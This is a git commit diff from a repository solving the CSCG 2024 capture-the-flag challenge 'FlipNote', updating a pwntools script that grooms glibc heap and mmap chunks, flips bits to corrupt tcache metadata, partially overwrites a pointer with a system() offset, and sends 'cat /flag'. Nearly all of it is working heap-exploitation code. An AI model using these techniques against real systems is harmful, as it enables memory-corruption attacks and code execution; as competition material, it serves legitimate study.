cscg24-flipnote

CSCG 2024 Challenge 'FlipNote'
git clone https://git.sinitax.com/sinitax/cscg24-flipnote
Log | Files | Refs | sfeed.txt

commit b662913587367b99eea9eda31e0b40d36d68bf3f
parent 97012a8c5f720fc7cc001799be1fda3d138085f2
Author: Louis Burda <quent.burda@gmail.com>
Date:   Sun, 28 Apr 2024 00:55:57 +0200

13bit bruteforce

Diffstat:
Msolve/solve | 75++++++++++++++++++++++++++++++++++++++++++++++++---------------------------
1 file changed, 48 insertions(+), 27 deletions(-)

diff --git a/solve/solve b/solve/solve @@ -64,7 +64,7 @@ def flipv(index, offset, value): def alignup(a, b): return (a if a % b == 0 else (a - (a % b) + b)) -def adj(size): +def heap_adj(size): sizes = (0x78 * 2 ** i for i in reversed(range(12))) inner = next(filter(lambda s: s < size, sizes)) assert(alignup(inner + 8, 16) == size) @@ -79,6 +79,14 @@ def mmap_adj_max(size): mmap_sizes = (0x78 * 2 ** i - 2 for i in reversed(range(25))) return next(filter(lambda s: s > mmap_threshold_max and s < size, mmap_sizes)) +# get_delim will alloc in powers of 2 starting at 0x78 +def heap_size(n): + s = 0x78 * 2 ** n + 8 + return alignup(s, 16) + +def mmap_size(n): + return 0x78 * 2 ** (11 + n) + pgsize + def flat(attrs, length): data = bytearray(cc() * length) for addr,value in attrs.items(): @@ -90,40 +98,39 @@ def flat(attrs, length): pgsize = 0x1000 -# get_delim will alloc in powers of 2 starting at 0x78 -small_size = 0x78 + 0x8 -mmap_size_1 = 0x78 * 2 ** 11 + pgsize -mmap_size_2 = 0x78 * 2 ** 12 + pgsize -mmap_size_3 = 0x78 * 2 ** 13 + pgsize -mmap_size_4 = 0x78 * 2 ** 14 + pgsize - -# largest tcache-able chunk size allocated by get_delim. -tcache_size = small_size # 0x78 * 2 + 0x10 +small_size = heap_size(0) +tcache_size = heap_size(0) if pwnlib.args.args.GDB: gdb = 'gdb -ex "set debug-file-directory $PWD/debug" -ex "dir glibc" -ex "set debuginfod enabled on"' \ + ' -ex "target remote localhost:1025" -ex "b main" -ex "continue" -ex "b exit"' run_in_new_terminal(["sh", "-c", f'sleep 1; sudo -E {gdb}'], kill_at_exit=False) -b = alloc(cc() * adj(small_size)) -c = alloc(cc() * adj(tcache_size)) -d = alloc(cc() * adj(tcache_size)) +# increase input buf size +# io.readuntil(b"> ") +# largebin_size = heap_size(4) +# io.sendline(b"Z" * heap_adj(largebin_size)) +# io.readuntil(b"> ") + +b = alloc(cc() * heap_adj(small_size)) +c = alloc(cc() * heap_adj(tcache_size)) +d = alloc(cc() * heap_adj(tcache_size)) # allocate these backwards in size, because getdelim allocs them growing bigger -spacing = [alloc(cc() * mmap_adj(mmap_size_4))] -spacing += [alloc(cc() * mmap_adj(mmap_size_4))] -spacing += [alloc(cc() * mmap_adj(mmap_size_3))] -spacing += [alloc(cc() * mmap_adj(mmap_size_2))] -spacing += [alloc(cc() * mmap_adj(mmap_size_1))] -spacing += [alloc(cc() * mmap_adj(mmap_size_1))] - -a = alloc(cc() * mmap_adj(mmap_size_1)) +spacing = [alloc(cc() * mmap_adj(mmap_size(3)))] +spacing += [alloc(cc() * mmap_adj(mmap_size(3)))] +spacing += [alloc(cc() * mmap_adj(mmap_size(2)))] +spacing += [alloc(cc() * mmap_adj(mmap_size(1)))] +spacing += [alloc(cc() * mmap_adj(mmap_size(0)))] +spacing += [alloc(cc() * mmap_adj(mmap_size(0)))] + +a = alloc(cc() * mmap_adj(mmap_size(0))) free(a) free(b) assert(b == alloc(flat({ - mmap_size_3 - mmap_size_1 - 8: p64(tcache_size^0b001), -}, mmap_adj(mmap_size_3)))) + mmap_size(2) - mmap_size(0) - 8: p64(tcache_size^0b001), +}, mmap_adj(mmap_size(2))))) free(a) @@ -134,12 +141,26 @@ flipv(c, 0, 0x800000) #list(map(free, spacing)) -c = alloc(cc() * adj(tcache_size)) +c = alloc(cc() * heap_adj(tcache_size)) + +system_offset = int.to_bytes(0x050d70, 3, byteorder="little") + +context.log_level = "DEBUG" + +io.sendline(b"A" * 0x40) +io.readuntil(b"Note: ") +io.sendline(cc() * 0x19) +io.readuntil(b"Added note: ") +a = int(io.readline().decode().strip()) -embed() +# readline keeps making size smaller so we adjust +io.sendline(b"E" * 0x3e) +io.sendline(str(a).ljust(0x3c).encode()) +io.readuntil(b"Note: ") +io.sendline(cc() * 0x18 + system_offset) -win = int.to_bytes(0x0ebaf3, 3, byteorder="little") -a = alloc(cc() * 0x10 + b"\xf3") +io.sendline(b"cat /flag") # must be <= 0x11 +io.sendline(b"!"*0x81) # cause realloc #free(d) # to prevent issue with invalid reveal ptr in move#d chunk